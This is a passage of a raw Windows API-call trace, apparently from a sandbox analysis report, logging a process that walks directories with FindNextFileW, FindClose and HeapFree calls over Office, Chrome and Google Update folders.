	[0179.760] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1
	[0179.760] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.760] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0179.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.766] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0179.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.769] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1
	[0179.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.769] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0179.769] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0179.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.771] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0179.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.780] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0179.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.812] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0179.814] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.814] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0179.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.825] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0179.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.842] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0179.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.843] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0179.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.867] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1
	[0179.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.868] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb5200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0179.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.869] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0179.869] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0179.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0179.869] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0179.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.875] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1
	[0179.875] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.875] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1
	[0179.876] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.876] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libegl.dll", cAlternateFileName="")) returned 1
	[0179.880] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.880] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1
	[0179.881] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.881] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1
	[0179.884] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.884] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
	[0179.887] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0179.887] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win_x64", cAlternateFileName="")) returned 0
	[0179.887] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0179.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0179.888] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0
	[0179.888] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0179.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.888] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0
	[0179.888] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0179.888] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.889] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1
	[0179.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.890] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0
	[0179.890] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0179.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.890] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0
	[0179.890] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0179.890] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.890] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0179.891] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.891] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3eb5b0, ftCreationTime.dwHighDateTime=0x1d594bb, ftLastAccessTime.dwLowDateTime=0x12435c40, ftLastAccessTime.dwHighDateTime=0x1d5a906, ftLastWriteTime.dwLowDateTime=0x12435c40, ftLastWriteTime.dwHighDateTime=0x1d5a906, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw_sorts.exe", cAlternateFileName="")) returned 1
	[0179.900] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.901] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Download", cAlternateFileName="")) returned 1
	[0180.053] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0180.053] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0
	[0180.059] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0180.059] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.060] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0
	[0180.060] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0180.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0180.060] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
	[0180.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0180.061] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0
	[0180.061] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0180.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0180.061] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Install", cAlternateFileName="")) returned 0
	[0180.061] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0180.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0180.063] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0
	[0180.063] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0180.063] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
